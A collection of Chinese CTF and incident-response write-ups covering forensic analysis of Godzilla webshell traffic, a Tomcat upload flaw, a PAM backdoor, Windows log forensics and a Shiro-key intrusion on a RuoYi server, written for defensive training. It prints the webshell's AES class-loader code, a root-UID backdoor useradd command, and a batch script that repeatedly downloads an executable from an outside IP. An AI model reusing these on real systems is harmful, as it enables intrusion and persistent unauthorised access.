哥斯拉ekp版本流量分析
步骤一：黑客上传的木马文件名是什么？
追踪流量，可以发现流11即靶机被攻击流量：
因此向前溯源，发现PUT请求上传的文件为木马文件：
步骤二：黑客上传的木马连接密码是什么？
可以发现后面其执行命令是通过参数mypass传递的：
步骤三：黑客上传的木马连接密钥是什么？
分析PUT请求，哥斯拉webshell密钥即为xc值
String xc = "9adbe0b3033881f8";
String pass = "mypass";
String md5 = md5(pass + xc);
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}
public static byte[] base64Decode(byte[] bytes) {
Class base64;
byte[] value = null;
Object decoder;
try {
base64 = Class.forName("java.util.Base64");
decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
} catch (Exception e2) {
}
}
return value;
}
步骤四：黑客连接webshell后执行的第一条命令是什么？
流量8内容都是哥斯拉初始化流量，用户执行从流量9开始：
蓝队分析工具解不开：
（补充：应该是解得开的，哥斯拉版本选错了没注意到……）
哥斯拉流量请求包解密脚本：
package com.ezgame;
import java.io.*;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.util.Scanner;
public class test {
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public static byte[] x(byte[] s, boolean m, String xc) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}
public static byte[] base64Decode(byte[] bytes) {
Class base64;
byte[] value = null;
Object decoder;
try {
base64 = Class.forName("java.util.Base64");
decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
} catch (Exception e2) {
}
}
return value;
}
public static void main(String[] args) throws Exception {
String xc = "9adbe0b3033881f8";
String pass = "mypass";
String md5 = md5(pass + xc);
Scanner scanner = new Scanner(System.in);
System.out.println("请输入URL编码的字符串：");
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
String encodedString = reader.readLine();
String decodedString = URLDecoder.decode(encodedString, StandardCharsets.UTF_8.toString());
// System.out.println("URL解码后的字符串：" + decodedString);
scanner.close();
byte[] data = base64Decode(decodedString.getBytes());
data = base64Decode(data);
System.out.println(new String(data));
byte[] res = x(data, false, xc);
FileOutputStream fos = new FileOutputStream("res1.zip");
fos.write(res);
fos.close();
}
}
响应包解密脚本：
package com.ezgame;
import java.io.*;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.util.Scanner;
public class test {
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public static byte[] x(byte[] s, boolean m, String xc) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}
public static byte[] base64Decode(byte[] bytes) {
Class base64;
byte[] value = null;
Object decoder;
try {
base64 = Class.forName("java.util.Base64");
decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
} catch (Exception e2) {
}
}
return value;
}
public static void main(String[] args) throws Exception {
String xc = "9adbe0b3033881f8";
String pass = "mypass";
String md5 = md5(pass + xc);
Scanner scanner = new Scanner(System.in);
System.out.println("请输入URL编码的字符串：");
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
String encodedString = reader.readLine();
String decodedString = URLDecoder.decode(encodedString, StandardCharsets.UTF_8.toString());
// System.out.println("URL解码后的字符串：" + decodedString);
scanner.close();
byte[] data = base64Decode(decodedString.getBytes());
data = base64Decode(data);
System.out.println(new String(data));
byte[] res = x(data, false, xc);
FileOutputStream fos = new FileOutputStream("res1.zip");
fos.write(res);
fos.close();
}
}
氪佬买了工具版本：
第一条命令是cat /etc/passwd
（不知道为什么第一条命令不是cd /）
步骤五：这个木马是根据哪个参数进行回显的？（提交参数名）
解密后有：
步骤六：黑客留下后门的反连的IP和PORT是什么？（flag{IP,PORT})
流量10没有回显，推测已经获取反弹shell：
步骤七：黑客通过后门反连执行的第一条命令是什么？
分析下一条流量，发现第一条命令为ls
步骤八：黑客新增的后门用户名密码是什么？（提交flag{username,password}）
useradd -p \openssl passwd -1 -salt 'salt' Xj@666.` x -o -u 0 -g root -G root -s /bin/bash
| 参数/字段 | 解释 |
|---|---|
useradd |
创建新用户的系统命令 |
-p |
指定用户密码（需加密后的哈希值） |
openssl passwd -1 |
使用 OpenSSL 生成 MD5 加密的密码哈希（-1 表示 MD5 算法） |
-salt 'salt' |
设置盐值为 salt（盐值应随机且复杂，此处为固定值） |
Xj@666. |
明文密码（实际为 Xj@666.） |
x |
新用户名为 x |
-o |
允许创建重复 UID 的用户（即使系统中已存在相同 UID） |
-u 0 |
设置用户 UID 为 0（与 root 用户相同的 UID） |
-g root |
设置用户主组为 root（GID 0） |
-G root |
将用户添加到 root 附加组 |
-s /bin/bash |
设置用户的默认 Shell 为 Bash |
步骤九：黑客新增的后门文件是什么？（提交完整路径）
以下内容需要开启服务器环境上机排查，没有VIP因此原文来自：哥斯拉ekp版本流量分析 - xia0le's Blog和：
后续就是一些ssh的流量了，猜测新增后门可能是ssh登录后操作的（ssh流量都是加密的因此流量包无法分析了）
1.基于时间范围搜索可疑文件
例：
find /etc -type f -newermt "2023-10-01 00:00:00" ! -newermt "2023-10-01 23:59:59" -ls
2.检查进程中的反向 Shell 命令
ps aux | grep 'bash -c /bin/bash -i '
3.分析常见后门驻留路径
-
TCP_Wrappers 后门：检查
/etc/hosts.allow和/etc/hosts.deny，未发现异常。 -
启动脚本：检查
/etc/rc.local、/etc/init.d/，无异常。 -
定时任务：检查
/etc/cron*，无异常。 -
隐蔽文件：
/etc/termcap（系统终端数据库文件，通常无敏感操作）
步骤十：黑客的后门公钥是什么？（提交公钥的md5值）
sshd_config 文件能够指定其他免认证文件
这里首先就要排查ssh配置文件，在41行发现由两个可以免认证的文件
除了root用的.ssh/authorized_keys，还多了一个 /root/.bash_h1story/.keys
公钥文件内容：
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPNKP3QL+i1safdsU6Zb2MuoBjZYreADjwhbP3dzZpjwx8aC7X1k9sb8IEKSjvsWxbb4nC7r/wzHKHo0bdnwdM6Risjniob6+0c4ImBzksxvnR3lJjQe5Hw+wi4+ynA/D3U19OazRxca5I1L6ONspSAa3s4sw2QoxbuBVFel+IKBzebp8K7VB3Kr3Zlry5NTd52Inn347zZWfb56olxRaHTJ6IXAJLeFmGT6R2nDul2lY8HWS2D5k8lDC9oNewTjtFKzPVi9rtDzGHxDc1+k3gKE2QkKUjBEYfeKmU+N5GmTT3tIYfrJSfWfxwDrCvvhqnf2wZQYtZCNf48C/opH8EhRBQrH/X94drX+eXJOmozQzKJfdidQshRwSKDff6w1gYk= xiaole@xiaoledeMacBook-Pro.local
进行MD5加密即可
步骤十一：黑客注入的内存马代理是那种类型的？（如flag{frp}）
解密流量，发现：
有一段runuseragent的调用，根据使用user-agent这一特征，通过网络搜索确定内存马代理类型为 Suo5
Suo5 在通信协议中固化或动态生成特定模式的 User-Agent，而这一模式被公开分析报告或威胁情报收录为 Suo5 的标志性行为。
常见内存马代理特征：
| 类型/名称 | 主要特征描述 | 通信特征 | 技术细节/检测点 |
|---|---|---|---|
| Suo5 | 基于Java的内存马代理，隐蔽性强 | 使用User-Agent: Suo5标识；HTTPS加密传输 |
调用链包含runuseragent方法；响应中包含X-Cmd-Result等自定义头部 |
| Godzilla（哥斯拉） | 支持多协议、多加密方式的WebShell管理工具 | UA含特定字符（如Godzilla或默认密码哈希）；AES/RC4加密，默认密钥key、pass |
请求参数包含ant=...；响应包头中存在加密数据的特征长度（如16/32字节） |
| Behinder（冰蝎） | 动态加密通信，反分析能力强 | 默认UA类似Jakarta Commons-HttpClient/3.1；动态密钥协商，AES加密 |
流量中可观测到ClassLoader动态加载行为；请求体为二进制加密数据 |
| Cobalt Strike | 企业级渗透工具，常用于C2通信 | UA模拟常见浏览器但长期固定；Beacon心跳包间隔固定（如60秒） | HTTP Cookie或字段中携带加密元数据（如__cflb）；支持DNS隧道和Staged加载 |
| ReGeorg | 基于HTTP隧道的Socks代理工具 | UA固定为ReGeorg或路径特征（如/status.aspx） |
流量中包含大段Base64编码数据；请求/响应为明文但隧道流量加密 |
| Java Agent马 | 利用JVM Attach机制注入内存 | 无固定UA特征；通过JVM内部通信 | Java进程存在-javaagent参数；检测Instrumentation类加载行为（如retransformClasses） |
| PHP内存马 | 通过未清理的eval或assert函数驻留 |
UA正常，但请求参数/路径触发恶意逻辑（如?cmd=whoami） |
PHP进程内存中存在持久化后的恶意函数；文件系统无残留 |
| PowerShell内存马 | 无文件PowerShell脚本驻留 | UA不明显；依赖System.Net.WebClient下载或通信 |
进程中出现长Base64命令；powershell.exe -EncodedCommand命令行参数 |
| .NET内存马 | 注入到ASP.NET工作进程（w3wp.exe） | 请求特定路由触发恶意代码（如/api/v1/update） |
AppDomain中加载未知程序集；CLR日志中异常模块加载行为 |
步骤十二：这个代理的路径是什么？（如flag{/frp}）
此后流量显示攻击者多次尝试访问/connect，但是只有最后一次UA对应上的时候才成功
失败例：
成功（UA符合）：
步骤十三：这个代理的连接密码是什么？（将得到的密码md5后作为flag提交）
连接密码即前面分析的：
Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3
进行md5加密即可
步骤十四：黑客扫描了哪个ip的哪些端口？（端口按照文本顺序提交即可 如：flag{ip,21,22,23}）
继续解密流量，在最后一个流中发现扫描操作：
步骤十五：黑客扫描到开放的端口有哪些？（端口从小到大排序提交 如：flag{21,22,23}）
解密其响应包：
可以发现回显为1的为开放的端口
第六章-哥斯拉4.0流量分析
步骤一：黑客的IP是什么？
追踪流，发现webshell利用流量：
步骤二：黑客是通过什么漏洞进入服务器的？（提交CVE编号）
分析webshell上传流量特征：使用了tomcat manager 并且使用PUT请求进行上传：
Apache Tomcat Remote Code Execution via JSP upload (CVE-2017-12615 / CVE-2017-12617)
步骤三：黑客上传的木马文件名是什么？(提交文件名)
由上题分析可知文件名为hello.jsp
步骤四：黑客上传的木马连接密码是什么？
由上上题分析可知连接密码pass为7f0e6f
步骤五：黑客上传的木马解密密钥是什么？
由上上上题分析可知木马解密密钥xc是1710acba6220f62b
步骤六：黑客连接webshell后执行的第一条命令是什么？
cmdLine sh -c "cd "/";uname -r" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";uname -r" 2>&1arg-0 shargsCount 4arg-1 - carg-2 cd "/";uname -rmethodName execCommand
| 字段名称 | 字段值 | 说明 |
|---|---|---|
| cmdLine | sh -c "cd "/";uname -r" 2>&1 |
完整命令行，包含shell解释器和命令序列 |
| executableFile | sh |
使用的shell解释器（Bourne shell） |
| executableArgs | -c "cd "/";uname -r" 2>&1 |
传递给shell的参数组合 |
| methodName | execCommand |
哥斯拉webshell执行命令的标准方法名 |
| argCount | 4 |
参数总数 |
| arg-0 | sh |
主shell程序路径 |
| arg-1 | -c |
指定后续字符串作为命令执行 |
| arg-2 | cd "/";uname -r |
实际执行的命令序列（切换根目录后获取内核版本） |
| arg-3 | 2>&1 |
错误输出重定向到标准输出（合并输出流） |
得到第一条命令uname -r，用于查询系统的内核版本信息
步骤七：黑客连接webshell时查询当前shell的权限是什么？
解密流量，要一步步解密（这里氪金使用了分析工具可以缩短解密时间）：
可以发现当前shell的权限为root
步骤八：黑客利用webshell执行命令查询服务器Linux系统发行版本是什么？
可以发现发行版本为Debian GNU/Linux 10 (buster)
步骤九：黑客利用webshell执行命令还查询并过滤了什么？（提交整条执行成功的命令）
可以发现过滤了pam
使用 rpm 命令列出所有已安装的软件包，并通过 grep 过滤出与“pam”相关的软件包。PAM（可插入式认证模块）通常与系统认证和安全性相关。
步骤十：黑客留下后门的反连的IP和PORT是什么？（IP:PORT)
响应包无回显，推测为反弹shell命令：
解码可得：
步骤十一：黑客通过什么文件留下了后门？
此处可以上机进行分析，因此从其他人的WP进行分析
原文地址：玄机——第六章-哥斯拉4.0流量分析 wp-CSDN博客和：
从history命令历史记录中发现了替换pam_unix.so的痕迹
或
流量包中有/tmp/pam_unix.so上传的记录：
步骤十二：黑客设置的后门密码是什么？
上机查询文件：
find / -name "pam_unix.so" 2>/dev/null
下载后使用IDA进行分析：
首先可以的是这段代码片段似乎来自一个 PAM 模块的实现，主要负责处理用户身份验证。
代码分析：
pam_set_data(pamh, "unix_setcred_return", v6, setcred_free);：- 将某些认证数据（v6）存储在 PAM 句柄中，便于后续使用。
authtok = pam_get_authtok();：
- 调用
pam_get_authtok()获取用户的认证令牌（通常是密码）。
密码检查：
-
如果
authtok不存在，调用unix_verify_password(pamh, name, p, v4);来验证密码。 -
如果验证失败，记录日志并返回错误代码。
特殊密码检查：
- 代码中有一行
v12 = strcmp("XJ@123", p) == 0;，用于检查输入密码是否为 "XJ@123"。 - 如果匹配成功，设置返回值
v8。
记录日志：
- 使用
pam_syslog记录关于用户名的错误信息，如果用户名不正确，返回相应的错误代码。
后门密码分析：
- 所以可以确认的是黑客设置的后门密码是："XJ@123"。
- 为什么确定是：
- 代码中明确比较用户输入的密码是否等于 "XJ@123"，并根据比较结果决定认证是否成功。
- 如果这个密码被硬编码在代码中，黑客可能利用这个密码获得不当访问权限。
————————————————
原文链接：https://blog.csdn.net/administratorlws/article/details/142593664
或：
步骤十三：黑客的恶意dnslog服务器地址是什么？
或：
第四章-windows日志分析
原文地址：玄机-windows日志分析 - Mr.Dang's Blog、第四章-windows日志分析 - 飞书云文档
步骤一：审计桌面的logs日志，定位所有扫描IP，并提交扫描次数
使用命令：
cut -d ' ' -f 1 access.log | sort | uniq -c | sort -rn | head -100
| 步骤 | 功能说明 |
|---|---|
1. cut -d ' ' -f 1 |
提取日志每行的第一个字段（IP 地址） |
2. sort |
合并重复 IP 做准备 |
3. uniq -c |
统计每个 IP 出现次数 |
4. sort -rn |
筛选高频 IP |
5. head -100 |
输出 Top 100 高频 IP |
首先排除127.0.0.1本地IP
观察后可以发现192.168.150.1的访问日志，其访问的路径都是public下的一些目录。属于正常访问。所以可以排除，而192.168.150.60 只有一次 也可以排除
步骤二：审计相关日志，提交rdp被爆破失败次数
使用日志分析工具查看登录失败的日志（登录失败的事件id为4625）
选择all rows 然后全选复制到excel里面就可以看到有多少次
步骤三：审计相关日志，提交成功登录rdp的远程IP地址，多个以&连接,以从小到大顺序排序提交
同样用工具 查看远程桌面登录成功日志 （事件id 4624）
步骤四：提交黑客创建的隐藏账号
查看历史用户添加情况
这里有两个账户hacker$ 与 hackers$ 对应创建的隐藏账户与影子账户
PS：创建用户的事件id为 4720
flag{hacker$}
步骤五：提交黑客创建的影子账号
由上题分析可知
flag{hackers$}
步骤六：提交远程shell程序的连接IP+端口，以IP:port方式提交
win+r 输入 msconfig 查看启动项
发现有一个可疑程序 xiaowei.exe
用云沙箱看看
查看网络行为：
步骤七：黑客植入了一个远程shell，审计相关进程和自启动项提交该程序名字
由上题分析可知
步骤八：黑客使用了计划任务来定时执行某shell程序，提交此程序名字
win+r 输入 taskschd.msc
查看计任务
一眼就可以发现一个很可疑的任务名 download
点进去看一下，发现与后门程序有关，基本就可以实锤了
查看操作可以获取到执行shell程序的名字
download.bat的内容
@echo off
:loop
echo Requesting download from 185.117.118.21:1111/xiaowei.exe...
start /b powershell -Command "Invoke-WebRequest -Uri 'http://185.117.118.21/xiaowei.exe' -OutFile 'C:\Windows\system64\systemWo\xiaowei.exe'"
timeout /t 300 /nobreak >nul
goto loop
实战-行业攻防应急响应
服务器场景操作系统 Ubuntu
服务器账号密码：root/security123
分析流量包在/home/security/security.pcap
相关jar包在/home/security/ruoyi/ruoyi-admin.jar
链接: https://pan.baidu.com/s/1WnDCcqXNrGJaTovmsXaFOA?pwd=s7eu 提取码: s7eu
--来自百度网盘超级会员v6的分享
题目来源公众号 州弟学安全
https://mp.weixin.qq.com/s/2eYZGnDaD6M0sdrIVPhbhQ
任务环境说明
本次环境来自某次行业攻防真实环境，可以参考以上文章链接，说的非常清楚，WP+过程+应急响应步骤+攻击步骤都已写明，贴合现实实战+大赛环境，不放过每一处细节点
全程模拟，请勿利用工具进行非法对外攻击，违者后果自负
开放题目
步骤一：根据流量包分析首个进行扫描攻击的IP是
过滤靶机IP：
ip.dst == 192.168.0.211
开头是192.168.0.200的ping包，这是物理机发送的正常探测包：
接下来就是来自192.168.0.223的端口扫描：
扫描攻击也来自这个IP：
使用过滤语句分析：
tcp.flags.syn ==1 && tcp.flags.ack == 1 && ip.src == 192.168.0.211
可以发现靶机开放端口有9988、12333：
靶机确实开放这两个端口：
12333是若依框架的默认端口
步骤二：根据流量包分析第二个扫描攻击的IP和漏扫工具，以flag
已知第一个扫描的IP行为是端口探测和文件扫描，在后续进行筛选是可以将此IP过滤掉
ip.dst == 192.168.0.211 && ip.src!=192.168.0.223
发现第二个扫描攻击（目录扫描）的IP为192.168.0.220，进行http过滤分析其漏扫工具：
ip.src == 192.168.0.200 && ip.dst == 192.168.0.211 && http.request
分析扫描攻击发送的HTTP请求包，在160872次流量中，有bxss.me域名，这是漏扫器 acunetix或称 AWVS的特征：
步骤三：提交频繁爆破密钥的IP及爆破次数，以flag{ip&次数}提交
由前两题分析，192.168.0.223和192.168.0.200两个IP的行为为扫描工具，没有爆破攻击，因此可以忽略了：
ip.dst == 192.168.0.211 && ip.src!=192.168.0.223 && ip.src!=192.168.0.200
可以发现192.168.0.226对login页面进行了多次请求
第一个请求先确认了shiro框架的存在，接着就是爆破shiro密钥的行为(若依框架此处开启了shiro安全框架)
shiro安全框架核心机制：
Apache Shiro（原名JSecurity）是一个用于Java应用的开源安全框架，主要提供身份认证（Authentication）、授权（Authorization）、加密（Cryptography）和会话管理（Session Management）等功能。
- 身份认证（Authentication）
Shiro通过Subject对象（代表当前用户）进行登录验证，例如用户输入用户名密码后，Shiro会与配置的Realm（如数据库、LDAP等）进行比对。 - 会话管理（Session Management）
Shiro提供跨容器的会话管理，支持通过Cookie（如RememberMe功能）维持用户登录状态。 - 加密与密钥（Cryptography）
Shiro使用加密算法（如AES）保护敏感数据，例如RememberMeCookie会被加密后存储在客户端，加密过程依赖一个密钥（Key）。
Shiro旧版本（<=1.2.4）存在反序列化漏洞：攻击者通过构造恶意RememberMe Cookie，结合弱密钥或默认密钥，可触发远程代码执行（RCE）。
我们过滤分析这个IP爆破的次数：
ip.dst == 192.168.0.211 && ip.src==192.168.0.226 && http.request.uri=="/login"
再除去初次请求握手和探测shiro的三个包（报文长度不一样）：
步骤四：提交攻击者利用成功的密钥，以flag{xxxxx}提交
由上题分析可知，192.168.0.226最后也没成功利用密钥：
因此忽略，发现还有个IP在爆破密钥：
ip.dst == 192.168.0.211 && ip.src!=192.168.0.223 && ip.src!=192.168.0.200 && ip.src!=192.168.0.226
跟进此IP后，前面经过爆破，没有成功，而后访问了9988端口，访问/actuator/heapdump文件进行下载
Heapdump（堆内存转储）是 Java 应用在运行时的内存快照，记录了堆内存中所有对象的详细信息，包括类实例、成员变量、静态字段等。它类似于操作系统的“内存镜像”，但专门针对 Java 虚拟机的堆内存（存储对象实例的区域）。
ip.dst == 192.168.0.211 && ip.src==192.168.0.242 && http
此处攻击者就是分析heapdump文件中的密钥进行的后期攻击行为，我们可以反编译/home/security/ruoyi/ruoyi-admin.jar文件，在BOOT-INF/classes/application.yml文件查看到密钥：
步骤五：提交攻击者获取到的所有服务的弱口令，多个以&提交
需要分析Heapdump
从上往下分析，第一个就是数据库密码是弱口令，为ruoyi123
接着往下看到若以的两个账号的默认口令同样为admin123
在往下找到若依框架开启的druid监控服务默认口令为123456
步骤六：根据应急响应方法，提交利用漏洞成功的端口，多个以&连接
已知对外开放的端口为22、9988、12333端口，22端口为远程连接，9988端口在前期被192.168.0.223进行端口扫描和文件扫描，被192.168.0.200使用AWVS进行扫描，被192.168.0.242访问并下载heapdump进行后续利用
而12333端口是若依搭建的框架，被前面IP进行扫描且进行过爆破，最后一步在192.168.0.242这个IP获取到shiro密钥
步骤七：根据流量包分析，提交攻击者利用密钥探测成功的dnslog地址
攻击者利用密钥探测成功后一般会测视机器是否出网，往往会利用dnslog进行测试：
dns && ip.src == 192.168.0.211
步骤八：根据流量包分析，提交攻击者反弹shell的地址和端口
我们此处继续筛选，因为爆破和利用shiro都是在若依进行的，若依走的是HTTP协议，直接筛选即可
ip.dst==192.168.0.211 && ip.src==192.168.0.242 && http
shiro的利用过程一般分为以下几个步骤，较为详细
此处我们可从下往上逆推流量进行解密，因为前面爆破密钥，爆破构造链等多次，从上往下找不好定位
解密得到：
可以看见反弹shell的命令执行：
看到使用curl进行连接burpsuite的dnslog地址，然后去执行系统命令，此处burp地址方便本地查看结果，通过以上信息看到反弹的shell地址
步骤九：攻击者在主机放置了fscan(已改名)，经扫描拿下一台永恒之蓝漏洞主机，以此为线索进行提交fscan绝对路径
由上题得到的反弹shell端口进行过滤：
ip.dst==192.168.0.211 && ip.src==192.168.0.251 && tcp.port==8888
在主机层面，直接搜索即可，因为给出提示，扫描出了永恒之蓝主机，且fscan默认在扫描后在当前目录生成一个名为result.txt的文件
grep -rl 'MS17-010' / 2>/dev/null # 根据关键字筛选
grep -rl '192.168.0' / 2>/dev/null # 根据网段筛选
步骤十：另类方法：提交此fscan工具的MD5值
有些师傅会问，万一他把result.txt文件删了呢，你怎么模糊搜索，很好，非常好的问题，所以这个时候，用到了MD5值(此处我是用的是md5sum工具)
find / -type f -exec md5sum {} \;
这个命令是递归从根目录下使用md5sum计算所有文件的MD5列出，但是不好的是数据量太大，容易卡死
继续对命令进行优化，只对可执行文件列出MD5值，导入到一个文件中，然后对比fscan的MD5
find / -type f -executable -exec md5sum {} \;>1.txt
此处我对所有可执行文件的MD5进行输出到1.txt文件，然后接着对原fscan的MD5进行对比
有些师傅会问，我这要MD5有啥用啊，我们首先要知道，每个文件都是一个独立的个体，MD5是唯一的，改名不改内容，MD5是不变的，在首次查杀到这个病毒木马文件后，会记录此文件的MD5值并入库，后面直接对比此文件的MD5，就无需再次查杀，浪费资源，MD5相当于文件的独立身份，如直接使用刚刚的MD5去微步查看到是fscan工具
步骤十一：攻击者为了权限维持，在主机放置了仿真远控工具，需提交此远控工具的下载地址
通过排查计划任务可看到，可以看到每十分钟执行.qxwc.sh，查看这个文件即可
计划任务排查：
cat /etc/crontab
步骤十二：攻击者就知道你会这样找到，所以又创建了一条相关的脚本，使用其他方法进行下载，提交脚本的绝对路径
排除计划任务，在Linux中还存在另一种方法，就是开机自启，我们可以通过systemctl查看，他的执行文件路径在/etc/systemd/system/，创建任务是通过此目录下进行定位文件名创建任务名
开机启动排查：
ls -l --time-style=long-iso /etc/systemd/system/ | sort -k 6,7
使用以上命令可以按照最后改变时间进行排序，从下往上看可疑文件
看到有happy.service疑似非系统自带任务，查看后确认为恶意文件，接着查看相应文件，并确认绝对路径
步骤十三：攻击者创建了一个隐藏用户，提交此用户的用户名
cat /etc/passwd |grep bash
通过以上命令查看到只有两个用户拥有登录权限
确认shadow文件没有问题，查看可登录用户的/.ssh目录，并查看公钥文件，最终在/root/.ssh/.id_rsa.pub看到可疑用户名
等保-Linux等保测评
服务器场景操作系统 Linux
服务器账号密码: root dengbao123
小皮账号密码: admin dengbao123
小皮登录地址:http:ip:9080/48D41A/
MySQL账号密码: root dengbao123 端口: 33060
MySQL为docker搭建，推荐远程工具连接
渗透WEB后台账号密码: admin password
题目来源公众号 州弟学安全
https://mp.weixin.qq.com/s/Q0x8cn1Apt68p7xX_oDjMw
任务环境说明
本次我们通过贴近实战Linux等保测评进行演示，从中导入了应急响应和渗透测试模块，真正做到从等保测评全方面学习而出发，以：为什么要这么学，学了有什么用而出发，联动多处知识点，
说明在实际应用中的作用，文章已提供镜像地址和全流程
全程模拟，请勿利用工具进行非法对外攻击，违者后果自负
开放题目
漏洞修复
参考
https://mp.weixin.qq.com/s/Q0x8cn1Apt68p7xX_oDjMw
可以在公众号中下载靶机免费做
步骤一：查看相应文件，账户xiaoming的密码设定多久过期
查看/etc/shadow文件：
xiaoming:$y$j9T$ryFQBzEHAmfZrPeydMPV6/$AeVkw92Ak.WpfV3BAbjHsL17NRPEzPEeCf3bL64aPu9:0:0:7:7:::
| 字段位置 | 字段值 | 字段名称 | 含义 |
|---|---|---|---|
| 1 | xiaoming |
用户名 | 用户登录系统的名称。 |
| 2 | $y$j9T$ryFQBzEHAmfZrPeydMPV6/$AeVkw92Ak.WpfV3BAbjHsL17NRPEzPEeCf3bL64aPu9 |
加密密码 | 密码的加密哈希值（$y$ 表示使用 yescrypt 算法加密）。 |
| 3 | 0 |
最后修改密码时间 | 自 1970年1月1日 起的天数（0 表示用户从未修改过密码）。 |
| 4 | 0 |
最小密码年龄 | 密码修改后需等待 0天 才能再次修改（即可以立即修改）。 |
| 5 | 7 |
最大密码年龄 | 密码有效期为 7天，过期后必须修改。 |
| 6 | 7 |
警告期 | 密码过期前 7天 开始提醒用户。 |
| 7 | ``（空） | 不活动宽限期 | 密码过期后允许登录的宽限天数（空表示过期后立即禁止登录）。 |
| 8 | ``（空） | 账户失效日期 | 账户被永久禁用的日期（空表示无限制）。 |
| 9 | ``（空） | 保留字段 | 未使用，保留为未来扩展。 |
